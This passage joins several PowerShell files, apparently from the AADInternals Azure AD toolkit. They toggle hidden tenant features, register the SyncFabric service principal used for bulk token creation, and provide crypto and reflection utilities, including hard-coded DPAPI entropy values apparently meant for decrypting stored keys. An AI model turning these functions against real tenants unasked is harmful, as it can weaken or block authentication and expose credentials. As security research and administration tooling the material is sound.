[ValidateSet('AllowEmailVerifiedUsers','AllowInvitations','AllowMemberUsersToInviteOthersAsMembers','AllowUsersToChangeTheirDisplayName','B2CFeature','BlockAllTenantAuth','ConsentedForMigrationToPublicCloud','CIAMFeature','CIAMTrialFeature','CIAMTrialUpgrade','EnableExchangeDualWrite','EnableHiddenMembership','EnableSharedEmailDomainApis','EnableWindowsLegacyCredentials','EnableWindowsSupplementalCredentials','ElevatedGuestsAccessEnabled','ExchangeDualWriteUsersV1','GuestsCanInviteOthersEnabled','InvitationsEnabled','LargeScaleTenant','TestTenant','USGovTenant','DisableOnPremisesWindowsLegacyCredentialsSync','DisableOnPremisesWindowsSupplementalCredentialsSync','RestrictPublicNetworkAccess','AutoApproveSameTenantRequests','RedirectPpeUsersToMsaInt','LegacyTlsExceptionForEsts','LegacyTlsBlockForEsts','TenantAuthBlockReasonFraud','TenantAuthBlockReasonLifecycle','TenantExcludeDeprecateAADLicenses')]
[Parameter(Mandatory=$True)]
[String]$Feature
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
$body = @{
"directoryFeature" = $feature
}
# Call the API
try
{
$response = Call-GraphAPI -AccessToken $AccessToken -Command "isDirectoryFeatureEnabled" -Method Post -Body ($body | ConvertTo-Json)
$enabled = $false;
# For some reason True is returned as boolean but False as object with value attribute
if($response -isnot [boolean])
{
$enabled = $response.Value
}
else
{
$enabled = $response
}
return $enabled
}
catch
{
$stream = $_.Exception.Response.GetResponseStream()
$responseBytes = New-Object byte[] $stream.Length
$stream.Position = 0
$stream.Read($responseBytes,0,$stream.Length) | Out-Null
$response = [text.encoding]::UTF8.GetString($responseBytes) | ConvertFrom-Json
throw $response.'odata.error'.message.value
}
}
}
# Enable or Disable Azure AD feature
# Aug 23 2023
function Set-AzureADFeature
{
<#
.SYNOPSIS
Enables or disables the given Azure AD feature.
.DESCRIPTION
Enables or disables the given Azure AD feature using Azure AD Graph internal API.
Requires Global Administrator role
.Parameter AccessToken
Access Token
.PARAMETER Feature
The name of the feature. Should be one of:
AllowEmailVerifiedUsers
AllowInvitations
AllowMemberUsersToInviteOthersAsMembers
AllowUsersToChangeTheirDisplayName
B2CFeature
BlockAllTenantAuth
ConsentedForMigrationToPublicCloud
CIAMFeature
CIAMTrialFeature
CIAMTrialUpgrade
EnableExchangeDualWrite
EnableHiddenMembership
EnableSharedEmailDomainApis
EnableWindowsLegacyCredentials
EnableWindowsSupplementalCredentials
ElevatedGuestsAccessEnabled
ExchangeDualWriteUsersV1
GuestsCanInviteOthersEnabled
InvitationsEnabled
LargeScaleTenant
TestTenant
USGovTenant
DisableOnPremisesWindowsLegacyCredentialsSync
DisableOnPremisesWindowsSupplementalCredentialsSync
RestrictPublicNetworkAccess
AutoApproveSameTenantRequests
RedirectPpeUsersToMsaInt
LegacyTlsExceptionForEsts
LegacyTlsBlockForEsts
TenantAuthBlockReasonFraud
TenantAuthBlockReasonLifecycle
TenantExcludeDeprecateAADLicenses
.Example
Get-AADIntAccessTokenForAADGraph -SaveToCache
PS C:\>Set-AADIntAzureADFeature -Feature "B2CFeature" -Enable $true
Feature Enabled
------- -------
B2CFeature True
.Example
Get-AADIntAccessTokenForAADGraph -SaveToCache
PS C:\>Set-AADIntAzureADFeature -Feature "B2CFeature" -Enable $false
Feature Enabled
------- -------
B2CFeature False
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[ValidateSet('AllowEmailVerifiedUsers','AllowInvitations','AllowMemberUsersToInviteOthersAsMembers','AllowUsersToChangeTheirDisplayName','B2CFeature','BlockAllTenantAuth','ConsentedForMigrationToPublicCloud','CIAMFeature','CIAMTrialFeature','CIAMTrialUpgrade','EnableExchangeDualWrite','EnableHiddenMembership','EnableSharedEmailDomainApis','EnableWindowsLegacyCredentials','EnableWindowsSupplementalCredentials','ElevatedGuestsAccessEnabled','ExchangeDualWriteUsersV1','GuestsCanInviteOthersEnabled','InvitationsEnabled','LargeScaleTenant','TestTenant','USGovTenant','DisableOnPremisesWindowsLegacyCredentialsSync','DisableOnPremisesWindowsSupplementalCredentialsSync','RestrictPublicNetworkAccess','AutoApproveSameTenantRequests','RedirectPpeUsersToMsaInt','LegacyTlsExceptionForEsts','LegacyTlsBlockForEsts','TenantAuthBlockReasonFraud','TenantAuthBlockReasonLifecycle','TenantExcludeDeprecateAADLicenses')]
[Parameter(Mandatory=$True)]
[String]$Feature,
[Parameter(Mandatory=$True)]
[bool]$Enabled
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
$isEnabled = Get-AzureADFeature -Feature $feature -AccessToken $AccessToken
if($Enabled)
{
# Check if already enabled
if($isEnabled)
{
Write-Warning "Feature $feature is already enabled."
return
}
$command = "enableDirectoryFeature"
}
else
{
# Check if already disabled
if(!$isEnabled)
{
Write-Warning "Feature $feature is already disabled."
return
}
$command = "disableDirectoryFeature"
}
$body = @{
"directoryFeature" = $feature
}
# Call the API
try
{
Call-GraphAPI -AccessToken $AccessToken -Command $command -Method Post -Body ($body | ConvertTo-Json)
}
catch
{
$stream = $_.Exception.Response.GetResponseStream()
$responseBytes = New-Object byte[] $stream.Length
$stream.Position = 0
$stream.Read($responseBytes,0,$stream.Length) | Out-Null
$response = [text.encoding]::UTF8.GetString($responseBytes) | ConvertFrom-Json
throw $response.'odata.error'.message.value
}
[pscustomobject][ordered]@{
"Feature" = $feature
"Enabled" = Get-AzureADFeature -AccessToken $AccessToken -Feature $feature
}
}
}
# Adds Microsoft.Azure.SyncFabric service principal
# Dec 4th 2023
function Add-SyncFabricServicePrincipal
{
<#
.SYNOPSIS
Adds Microsoft.Azure.SyncFabric service principal needed to create BPRTs.
.DESCRIPTION
Adds Microsoft.Azure.SyncFabric service principal needed to create BPRTs.
Requires Application Administrator, Cloud Application Administrator, Directory Synchronization Accounts, Hybrid Identity Administrator, or Global Administrator permissions.
.Parameter AccessToken
The Access Token. If not given, tries to use cached Access Token.
.Example
PS C:\>Get-AADIntAccessTokenForAADGraph -SaveToCache
PS C:\>Add-AADIntSyncFabricServicePrincipal
DisplayName AppId ObjectId
----------- ----- --------
Microsoft.Azure.SyncFabric 00000014-0000-0000-c000-000000000000 138018f7-6aa2-454c-a103-a7e682e17d6b
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
$body = @{
"accountEnabled" = "True"
"appId" = "00000014-0000-0000-c000-000000000000"
"appRoleAssignmentRequired" = $false
"displayName" = "Microsoft.Azure.SyncFabric"
"tags" = @( "WindowsAzureActiveDirectoryIntegratedApp" )
}
# Call the API
$result = Call-GraphAPI -AccessToken $AccessToken -Command "servicePrincipals" -Body ($body | ConvertTo-Json) -Method Post
if($result)
{
[pscustomobject]@{
"DisplayName" = $result.displayName
"AppId" = $result.appId
"ObjectId" = $result.objectId
}
}
}
} |
IPUtils.ps1 | AADInternals-0.9.4 | # Some ip related utility functions
# Gets the ip location info from ipgeolocationapi.com
function Get-IPLocationInfo
{
[cmdletbinding()]
Param(
[Parameter(ParameterSetName="IPText", Mandatory=$true)]
[String]$IpAddress,
[Parameter(ParameterSetName="Host", Mandatory=$true)]
[String]$HostName,
[Parameter(ParameterSetName="IPBytes", Mandatory=$true)]
[byte[]]$IpBytes,
[switch]$Short
)
Process
{
if($IpBytes -ne $null)
{
if($IpBytes.Length -ne 4)
{
Throw "IpBytes must be exactly 4 bytes long!"
}
$IpAddress = "$($IpBytes[0]).$($IpBytes[1]).$($IpBytes[2]).$($IpBytes[3])"
}
elseif(![string]::IsNullOrEmpty($HostName))
{
$IpAddresses = Resolve-DnsName -Name $HostName -ErrorAction SilentlyContinue
$entry = $null
if($IpAddresses.Count -gt 1)
{
$entry = $IpAddresses[$IpAddresses.count-1]
}
else
{
$entry = $IpAddresses
}
if([string]::IsNullOrEmpty($entry.IPAddress))
{
if(![string]::IsNullOrEmpty($entry.IP4Address))
{
$IpAddress = $entry.IP4Address
}
else
{
Throw "No ipv address found for $HostName"
}
}
else
{
$IpAddress = $entry.IPAddress
}
}
$response = Invoke-RestMethod -UseBasicParsing -Uri "https://api.ipgeolocationapi.com/geolocate/$IpAddress" -Headers @{"Accept" = "application/json; charset=utf-8"}
if($Short)
{
return @($response.name, $response.subregion, $response.region)
}
else
{
return $response
}
}
} |
CommonUtils.ps1 | AADInternals-0.9.4 | # This script contains common utility functions used in different functions
# Constants
$const_bom = [byte[]]@(0xEF,0xBB,0xBF)
$DPAPI_ENTROPY_CNG_KEY_PROPERTIES = @(0x36,0x6A,0x6E,0x6B,0x64,0x35,0x4A,0x33,0x5A,0x64,0x51,0x44,0x74,0x72,0x73,0x75,0x00) # "6jnkd5J3ZdQDtrsu" + null terminator
$DPAPI_ENTROPY_CNG_KEY_BLOB = @(0x78,0x54,0x35,0x72,0x5A,0x57,0x35,0x71,0x56,0x56,0x62,0x72,0x76,0x70,0x75,0x41,0x00) # "xT5rZW5qVVbrvpuA" + null terminator
$DPAPI_ENTROPY_CAPI_KEY_PROPERTIES = @(0x48,0x6a,0x31,0x64,0x69,0x51,0x36,0x6b,0x70,0x55,0x78,0x37,0x56,0x43,0x34,0x6d,0x00) # "Hj1diQ6kpUx7VC4m" + null terminator
# Unix epoch time (1.1.1970)
$epoch = Get-Date -Day 1 -Month 1 -Year 1970 -Hour 0 -Minute 0 -Second 0 -Millisecond 0
# Configuration settings
$config = @{}
# Gets Azure and Azure Stack WireServer ip address using DHCP
# Nov 18 2021
Function Get-AzureWireServerAddress
{
<#
.SYNOPSIS
Gets Azure and Azure Stack WireServer ip address using DHCP
.DESCRIPTION
Gets Azure and Azure Stack WireServer ip address using DHCP. If DHCP query fails, returns the default address (168.63.129.16)
.Example
Get-AADIntAzureWireServerAddress
168.63.129.16
#>
[cmdletbinding()]
param()
Begin
{
try
{
Add-Type -path "$PSScriptRoot\Win32Ntv.dll"
}
catch
{
Write-Warning "Could not load Win32Ntv.dll (probably blocked by Anti Virus)"
}
}
Process
{
# Get adapter that are up
$adapters = Get-NetAdapter | Where AdminStatus -eq "Up"
# Loop through the adapters
foreach($adapter in $adapters)
{
# Get IPv4 interfaces that have DHCP enabled
if((Get-NetIPInterface -InterfaceIndex $adapter.ifIndex -AddressFamily IPv4).Dhcp -eq "Enabled")
{
# Try to query for the address (uses DHCP option 245 and "WindowsAzureGuestAgent" as RequestIdString)
$ipAddress = [AADInternals.Native]::getWireServerIpAddress($adapter.InterfaceGuid)
}
# Return if we found the address
if($ipAddress)
{
return $ipAddress.ToString()
}
}
Write-Warning "WireServer address not found with DHCP, returning default address 168.63.129.16"
return "168.63.129.16"
}
}
# Gets property value using reflection
# Oct 14 2021
Function Get-ReflectionProperty
{
[cmdletbinding()]
param(
[parameter(Mandatory=$true,ValueFromPipeline)]
[psobject]$TypeObject,
[parameter(Mandatory=$false)]
[psobject]$ValueObject,
[parameter(Mandatory=$true)]
[String]$PropertyName
)
Process
{
if(!$ValueObject)
{
$ValueObject = $TypeObject
}
$propertyInfo = $TypeObject.GetProperty($PropertyName,[System.Reflection.BindingFlags]::Instance -bor [System.Reflection.BindingFlags]::NonPublic -bor [System.Reflection.BindingFlags]::Public -bor [System.Reflection.BindingFlags]::Static)
return $propertyInfo.GetValue($ValueObject, $null)
}
}
# Gets property value using reflection
# Oct 14 2021
Function Set-ReflectionProperty
{
[cmdletbinding()]
param(
[parameter(Mandatory=$true,ValueFromPipeline)]
[psobject]$TypeObject,
[parameter(Mandatory=$false)]
[psobject]$ValueObject,
[parameter(Mandatory=$true)]
[String]$PropertyName,
[parameter(Mandatory=$true)]
[psobject]$Value
)
Process
{
if(!$ValueObject)
{
$ValueObject = $TypeObject
}
$propertyInfo = $TypeObject.GetProperty($PropertyName,[System.Reflection.BindingFlags]::Instance -bor [System.Reflection.BindingFlags]::NonPublic -bor [System.Reflection.BindingFlags]::Public -bor [System.Reflection.BindingFlags]::Static)
return $propertyInfo.SetValue($ValueObject, $Value,$null)
}
}
# Gets object properties using reflection
# Oct 14 2021
Function Get-ReflectionProperties
{
[cmdletbinding()]
param(
[parameter(Mandatory=$true,ValueFromPipeline)]
[psobject]$TypeObject
)
Process
{
$properties = $TypeObject.GetProperties([System.Reflection.BindingFlags]::Instance -bor [System.Reflection.BindingFlags]::NonPublic -bor [System.Reflection.BindingFlags]::Public -bor [System.Reflection.BindingFlags]::Static)
foreach($property in $properties)
{
New-Object psobject -Property ([ordered]@{
"Name" = $property.Name
"Write" = $property.CanWrite
"Type" = $property.PropertyType
})
}
}
}
# Gets field value using reflection
# Feb 24 2022
Function Get-ReflectionField
{
[cmdletbinding()]
param(
[parameter(Mandatory=$true,ValueFromPipeline)]
[psobject]$TypeObject,
[parameter(Mandatory=$false)]
[psobject]$ValueObject,
[parameter(Mandatory=$true)]
[String]$FieldName
)
Process
{
if(!$ValueObject)
{
$ValueObject = $TypeObject
}
$fieldInfo = $TypeObject.GetField($FieldName,[System.Reflection.BindingFlags]::Instance -bor [System.Reflection.BindingFlags]::NonPublic -bor [System.Reflection.BindingFlags]::Public -bor [System.Reflection.BindingFlags]::Static)
return $fieldInfo.GetValue($ValueObject)
}
}
# Gets object properties using reflection
# Feb 24 2022
Function Get-ReflectionFields
{
[cmdletbinding()]
param(
[parameter(Mandatory=$true,ValueFromPipeline)]
[psobject]$TypeObject
)
Process
{
$fields = $TypeObject.GetFields([System.Reflection.BindingFlags]::Instance -bor [System.Reflection.BindingFlags]::NonPublic -bor [System.Reflection.BindingFlags]::Public -bor [System.Reflection.BindingFlags]::Static)
foreach($field in $fields)
{
New-Object psobject -Property ([ordered]@{
"Name" = $field.Name
"Type" = $field.FieldType
"Attributes" = $field.Attributes
})
}
}
}
# Invokes the given method
# Feb 24 2022
Function Invoke-ReflectionMethod
{
[cmdletbinding()]
param(
[parameter(Mandatory=$true,ValueFromPipeline)]
[psobject]$TypeObject,
[parameter(Mandatory=$False)]
[psobject]$GenericType,
[parameter(Mandatory=$False)]
[psobject]$ValueObject,
[parameter(Mandatory=$true)]
[String]$Method,
[parameter(Mandatory=$False)]
[Object[]]$Parameters = @()
)
Process
{
$methodInfo = $TypeObject.GetMethod($Method, [System.Reflection.BindingFlags]::Instance -bor [System.Reflection.BindingFlags]::NonPublic -bor [System.Reflection.BindingFlags]::Public -bor [System.Reflection.BindingFlags]::Static)
if($methodInfo.IsGenericMethodDefinition)
{
$genericMethod = $methodInfo.MakeGenericMethod($GenericType)
return $genericMethod.Invoke($ValueObject,$Parameters)
}
else
{
return $methodInfo.Invoke($ValueObject,$Parameters)
}
}
}
# Gets object methods using reflection
# Feb 24 2022
Function Get-ReflectionMethods
{
[cmdletbinding()]
param(
[parameter(Mandatory=$true,ValueFromPipeline)]
[psobject]$TypeObject
)
Process
{
$methods = $TypeObject.GetMethods([System.Reflection.BindingFlags]::Instance -bor [System.Reflection.BindingFlags]::NonPublic -bor [System.Reflection.BindingFlags]::Public -bor [System.Reflection.BindingFlags]::Static)
foreach($method in $methods)
{
New-Object psobject -Property ([ordered]@{
"Name" = $method.Name
"Static" = $method.IsStatic
"Attributes" = $method.Attributes
})
}
}
}
Function Convert-ByteArrayToB64
{
[cmdletbinding()]
param(
[parameter(Mandatory=$true,ValueFromPipeline)]
[Byte[]]$Bytes,
[Switch]$UrlEncode,
[Switch]$NoPadding
)
$b64 = [convert]::ToBase64String($Bytes);
if($UrlEncode)
{
$b64 = $b64.Replace("/","_").Replace("+","-")
}
if($NoPadding -or $UrlEncode)
{
$b64 = $b64.Replace("=","")
}
return $b64
}
Function Convert-B64ToByteArray
{
[cmdletbinding()]
param(
[parameter(Mandatory=$true,ValueFromPipeline)]
[String]
$B64
)
$B64 = $B64.Replace("_","/").Replace("-","+").TrimEnd(0x00,"=")
# Fill the header with padding for Base 64 decoding
while ($B64.Length % 4)
{
$B64 += "="
}
return [convert]::FromBase64String($B64)
}
Function Convert-B64ToText
{
[cmdletbinding()]
param(
[parameter(Mandatory=$true)]
[String]
$B64
)
return [text.encoding]::UTF8.GetString(([byte[]](Convert-B64ToByteArray -B64 $B64)))
}
Function Convert-TextToB64
{
[cmdletbinding()]
param(
[parameter(Mandatory=$true)]
[String]
$Text
)
return Convert-ByteArrayToB64 -Bytes ([text.encoding]::UTF8.GetBytes($text))
}
Function Convert-ByteArrayToHex
{
[cmdletbinding()]
param(
[parameter(Mandatory=$true,ValueFromPipeline)]
[Byte[]]
$Bytes
)
$HexString = [System.Text.StringBuilder]::new($Bytes.Length * 2)
ForEach($byte in $Bytes){
$HexString.AppendFormat("{0:x2}", $byte) | Out-Null
}
$HexString.ToString()
}
Function Convert-HexToByteArray
{
[cmdletbinding()]
param(
[parameter(Mandatory=$true,ValueFromPipeline)]
[String]
$HexString
)
$Bytes = [byte[]]::new($HexString.Length / 2)
For($i=0; $i -lt $HexString.Length; $i+=2){
$Bytes[$i/2] = [convert]::ToByte($HexString.Substring($i, 2), 16)
}
$Bytes
}
# Converts OID string to bytes
function Convert-OidToBytes
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True,ValueFromPipeline)]
[String]$Oid
)
Process
{
$digits = $oid.Split(".")
$bytes = @()
# Encode the first byte
$bytes += ([byte]$digits[0]) * 40 + ([byte]$digits[1])
# Calculate the rest
for($pos = 2; $pos -lt $Digits.Count; $pos++)
{
[int]$digit = $digits[$pos]
if($digit -gt 127) # Multiple bytes needed
{
$mbytes=@()
$mbytes += [byte]($digit -band 0x7f)
while($digit -gt 127)
{
$digit = $digit -shr 7
$mbytes += [byte](($digit -band 0x7f) -bor 0x80)
}
for($a = $mbytes.Count -1 ; $a -ge 0 ; $a--)
{
$bytes += [byte]$mbytes[$a]
}
}
else
{
$bytes += [byte]$digit
}
}
# Return
return [byte[]]$bytes
}
}
# Converts byte array to oid string
function Convert-BytesToOid
{
[cmdletbinding()]
Param(
[Parameter(ParameterSetName = "Bytes",Mandatory=$True,ValueFromPipeline)]
[byte[]]$Bytes,
[Parameter(ParameterSetName = "String",Mandatory=$True)]
[String]$ByteString
)
Process
{
if($ByteString)
{
$Bytes = Convert-HexToByteArray -HexString ($ByteString.Replace("0x","").Replace(",","").Replace(" ",""))
}
$pos = 0
# Check whether we have DER tag. If so, skip the first 2 bytes
if($Bytes[0] -eq 0x06)
{
$pos=2
}
# Calculate the first two digits
$oid="$([byte]($Bytes[$pos]/40)).$([byte]$Bytes[$pos]%40)"
# Calculate the rest
for($pos+=1; $pos -lt $Bytes.Count; $pos++)
{
$digit = 0
$mbyte = @()
while (($Bytes[$pos] -band 0x80) -gt 0)
{
$mByte+=($Bytes[$pos])
$pos++
}
if($mByte.Count -gt 0)
{
$mByte += $Bytes[$pos]
for($a = 1; $a -le $mByte.Count ; $a++)
{
$value = $mByte[$a-1] -band 0x7f # Strip the first byte
$value *= [math]::pow(128, $mByte.Count-$a)
$digit += $value
}
}
else
{
$digit = $Bytes[$pos]
}
$oid += ".$digit"
}
# Return
$oid
}
}
# Loads X509 certificate from .pfx file.
function Load-Certificate
{
<#
.SYNOPSIS
Loads X509 certificate from the given .pfx file
.DESCRIPTION
Loads X509 certificate from the given .pfx file
.Parameter FileName
The full path to .pfx file from where to load the certificate
.Parameter Password
The password of the .pfx file
.Parameter Exportable
Whether the private key should be exportable or not.
.Example
PS C:\>Load-AADIntCertificate -FileName "MyCert.pfx" -Password -Password "mypassword"
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True,ValueFromPipeline)]
[String]$FileName,
[Parameter(Mandatory=$False)]
[String]$Password="",
[Switch]$Exportable
)
Process
{
if(!(Test-Path $FileName))
{
throw "Certificate file $FileName not found!"
}
# Load the certificate
try
{
if($Exportable)
{
$Certificate = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2((Get-Item $FileName).FullName, $Password, [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::Exportable) -ErrorAction SilentlyContinue
}
else
{
$Certificate = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2((Get-Item $FileName).FullName, $Password, [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::PersistKeySet) -ErrorAction SilentlyContinue
}
}
catch
{
throw "Error opening certificate: $($_.Exception.InnerException.Message)"""
}
return $Certificate
}
}
# Loads the private key from the given Certificate
function Load-PrivateKey
{
<#
.SYNOPSIS
Loads the private key from the given x509 certificate
.DESCRIPTION
Loads the private key from the given x509 certificate
.Example
$Certificate = Load-Certificate -Filename "mycert.pfx" -Password "myverysecretpassword"
PS C:\>$PrivateKey = Load-AADIntPrivateKey -Certificate $Certificate
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True,ValueFromPipeline)]
[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate
)
Process
{
# Store the private key to so that it can be exported
$cspParameters = [System.Security.Cryptography.CspParameters]::new()
$cspParameters.ProviderName = "Microsoft Enhanced RSA and AES Cryptographic Provider"
$cspParameters.ProviderType = 24
$cspParameters.KeyContainerName ="AADInternals"
# Get the private key from the certificate
$privateKey = [System.Security.Cryptography.RSACryptoServiceProvider]::new(2048,$cspParameters)
$privateKey.ImportParameters([System.Security.Cryptography.X509Certificates.RSACertificateExtensions]::GetRSAPrivateKey($Certificate).ExportParameters($true))
Write-Verbose "Private Key from $($Certificate.Subject) loaded to the certificate store."
Write-Debug "PK: $( Convert-ByteArrayToB64 -Bytes (([System.Security.Cryptography.RSA]::Create($privateKey.ExportParameters($true))).key.Export([System.Security.Cryptography.CngKeyBlobFormat]::GenericPublicBlob)) )"
return $privateKey
}
}
# Unloads the private key from the store
function Unload-PrivateKey
{
<#
.SYNOPSIS
Unloads the private key from the store
.DESCRIPTION
Unloads the private key from the store
.Example
$Certificate = Load-Certificate -Filename "mycert.pfx" -Password "myverysecretpassword"
PS C:\>$privateKey = Load-AADIntPrivateKey -Certificate $Certificate
PS C:\>Unload-AADIntPrivateKey -PrivateKey $privateKey
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True,ValueFromPipeline)]
[System.Security.Cryptography.RSA]$PrivateKey
)
Process
{
try
{
# Remove the private key from the store
$privateKey.PersistKeyInCsp=$false
$privateKey.Clear()
Write-Verbose "Private Key unloaded from the certificate store."
}
catch
{
Write-Verbose "Could not unload Private Key from the certificate store. That's probably just okay: ""$($_.Exception.InnerException.Message)"""
}
}
}
function Get-CompressedByteArray {
[CmdletBinding()]
Param (
[Parameter(Mandatory,ValueFromPipeline,ValueFromPipelineByPropertyName)]
[byte[]] $byteArray = $(Throw("-byteArray is required"))
)
Process {
Write-Verbose "Get-CompressedByteArray"
[System.IO.MemoryStream] $output = New-Object System.IO.MemoryStream
$gzipStream = New-Object System.IO.Compression.GzipStream $output, ([IO.Compression.CompressionMode]::Compress)
$gzipStream.Write( $byteArray, 0, $byteArray.Length )
$gzipStream.Close()
$output.Close()
return $output.ToArray()
}
}
function Get-DecompressedByteArray {
[CmdletBinding()]
Param (
[Parameter(Mandatory,ValueFromPipeline,ValueFromPipelineByPropertyName)]
[byte[]] $byteArray = $(Throw("-byteArray is required"))
)
Process {
Write-Verbose "Get-DecompressedByteArray"
$input = New-Object System.IO.MemoryStream( , $byteArray )
$output = New-Object System.IO.MemoryStream
$gzipStream = New-Object System.IO.Compression.GzipStream $input, ([IO.Compression.CompressionMode]::Decompress)
$gzipStream.CopyTo( $output )
$gzipStream.Close()
$input.Close()
return $output.ToArray()
}
}
function Get-DeflatedByteArray {
[CmdletBinding()]
Param (
[Parameter(Mandatory,ValueFromPipeline,ValueFromPipelineByPropertyName)]
[byte[]] $byteArray = $(Throw("-byteArray is required"))
)
Process {
Write-Verbose "Get-DecompressedByteArray"
$output = New-Object System.IO.MemoryStream
$defStream = New-Object System.IO.Compression.DeflateStream $output, ([IO.Compression.CompressionMode]::Compress)
$defStream.Write( $byteArray, 0, $byteArray.Length )
$defStream.Close()
$output.Close()
return $output.ToArray()
}
}
function Get-DeDeflatedByteArray {
[CmdletBinding()]
Param (
[Parameter(Mandatory,ValueFromPipeline,ValueFromPipelineByPropertyName)]
[byte[]] $byteArray = $(Throw("-byteArray is required"))
)
Process {
Write-Verbose "Get-DecompressedByteArray"
$input = New-Object System.IO.MemoryStream( , $byteArray )
$output = New-Object System.IO.MemoryStream
$defStream = New-Object System.IO.Compression.DeflateStream $input, ([IO.Compression.CompressionMode]::Decompress)
$defStream.CopyTo( $output )
$defStream.Close()
$input.Close()
return $output.ToArray()
}
}
# Parses the given RSA Key BLOB and returns RSAParameters
Function Parse-KeyBLOB
{
[cmdletbinding()]
param(
[parameter(Mandatory=$true,ValueFromPipeline)]
[Byte[]]$Key
)
process
{
# https://docs.microsoft.com/en-us/windows/win32/api/bcrypt/ns-bcrypt-bcrypt_rsakey_blob
# https://docs.microsoft.com/en-us/windows/win32/seccrypto/base-provider-key-blobs
# Parse the header
$magic = [text.encoding]::ASCII.GetString($Key[0..3])
$bitlen = [bitconverter]::ToUInt32($Key,4)
$publen = [bitconverter]::ToUInt32($Key,8)
$modlen = [bitconverter]::ToUInt32($Key,12)
$pri1len = [bitconverter]::ToUInt32($Key,16)
$pri2len = [bitconverter]::ToUInt32($Key,20)
$headerLen = 6* [System.Runtime.InteropServices.Marshal]::SizeOf([uint32]::new())
# BYTE pubexp[publen]
# BYTE modulus[bitlen/8]
# BYTE prime1[bitlen/16]
# BYTE prime2[bitlen/16]
# BYTE exponent1[bitlen/16]
# BYTE exponent2[bitlen/16]
# BYTE coefficient[bitlen/16]
# BYTE privateExponent[bitlen/8]
# Parse RSA1 (RSAPUBLICBLOB)
$p = $headerLen
$pubexp = $Key[$headerLen..($headerLen + $publen - 1)]; $p += $publen
$modulus = $key[($p)..($p-1 + $modlen)]; $p += $modlen
# Parse RSA2 (RSAPRIVATEBLOB)
if($magic -eq "RSA2" -or $magic -eq "RSA3")
{
$prime1 = $key[($p)..($p-1 + $bitlen/16)] ; $p += $bitlen/16
$prime2 = $key[($p)..($p-1 + $bitlen/16)] ; $p += $bitlen/16
}
# Parse RSA3 (RSAFULLPRIVATEBLOB)
if($magic -eq "RSA3")
{
$exponent1 = $key[($p)..($p-1 + $bitlen/16)] ; $p += $bitlen/16
$exponent2 = $key[($p)..($p-1 + $bitlen/16)] ; $p += $bitlen/16
$coefficient = $key[($p)..($p-1 + $bitlen/16)] ; $p += $bitlen/16
$privateExponent = $key[($p)..($p-1 + $bitlen/8)]
}
$attributes=@{
"D" = $privateExponent
"DP" = $exponent1
"DQ" = $exponent2
"Exponent" = $pubexp
"InverseQ" = $coefficient
"Modulus" = $modulus
"P" = $prime1
"Q"= $prime2
}
[System.Security.Cryptography.RSAParameters]$RSAParameters = New-Object psobject -Property $attributes
return $RSAParameters
}
}
# Converts the given RSAParameters to PEM
# Feb 6th 2022
Function Convert-RSAToPEM
{
[cmdletbinding()]
param(
[parameter(Mandatory=$true,ValueFromPipeline)]
[System.Security.Cryptography.RSAParameters]$RSAParameters
)
process
{
$pemWriter = [Org.BouncyCastle.OpenSsl.PemWriter]::new([System.IO.StringWriter]::new())
$pemWriter.WriteObject([Org.BouncyCastle.Security.DotNetUtilities]::GetRsaKeyPair($RSAParameters).Private)
$PEM = $pemWriter.Writer.ToString()
$pemWriter.Writer.Dispose()
return $PEM
}
}
# Converts the given PEM to RSAParameters
# Feb 6th 2022
Function Convert-PEMToRSA
{
[cmdletbinding()]
param(
[parameter(Mandatory=$true,ValueFromPipeline)]
[String]$PEM
)
process
{
$pemReader = [Org.BouncyCastle.OpenSsl.PemReader]::new([System.IO.StringReader]::new($PEM))
$keys = $pemReader.ReadObject()
$RSAParameters = [Org.BouncyCastle.Security.DotNetUtilities]::ToRSAParameters($keys.Private)
$pemReader.Reader.Dispose()
return $RSAParameters
}
}
# Gets the error description from AzureAD
# Aug 2nd 2020
Function Get-Error
{
<#
.SYNOPSIS
Gets a error description for the given error code.
.DESCRIPTION
Gets a error description for the given error code.
.Parameter ErrorCode
Azure AD error code
.Example
Get-AADIntError -ErrorCode AADST700019
700019: Application ID {identifier} cannot be used or is not authorized.
.Example
Get-AADIntError -ErrorCode 700019
700019: Application ID {identifier} cannot be used or is not authorized.
#>
[cmdletbinding()]
param(
[parameter(Mandatory=$true,ValueFromPipeline)]
[String]$ErrorCode
)
Process
{
# Get the error message
$response=Invoke-RestMethod -UseBasicParsing -Method Get -Uri "https://login.microsoftonline.com/error?code=$ErrorCode"
$code = Get-StringBetween -String $response -Start '<td>Error Code</td><td>' -End '</td>'
$message = Get-StringBetween -String $response -Start '<td>Message</td><td>' -End '</td>'
return "$code`: $message"
}
}
# Create a new self-signed certificate
# Jan 31st 2021
function New-Certificate
{
<#
.SYNOPSIS
Creates a new self signed certificate.
.DESCRIPTION
Creates a new self signed certificate for the given subject name and returns it as System.Security.Cryptography.X509Certificates.X509Certificate2 or exports directly to .pfx and .cer files.
The certificate is valid for 100 years.
.Parameter SubjectName
The subject name of the certificate, MUST start with CN=
.Parameter Export
Export the certificate (PFX and CER) instead of returning the certificate object. The .pfx file does not have a password.
.Example
PS C:\>$certificate = New-AADIntCertificate -SubjectName "CN=MyCert"
.Example
PS C:\>$certificate = New-AADIntCertificate -SubjectName "CN=MyCert"
PS C:\>$certificate.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Pfx) | Set-Content MyCert.pfx -Encoding Byte
.Example
PS C:\>$certificate = New-AADIntCertificate -SubjectName "CN=MyCert"
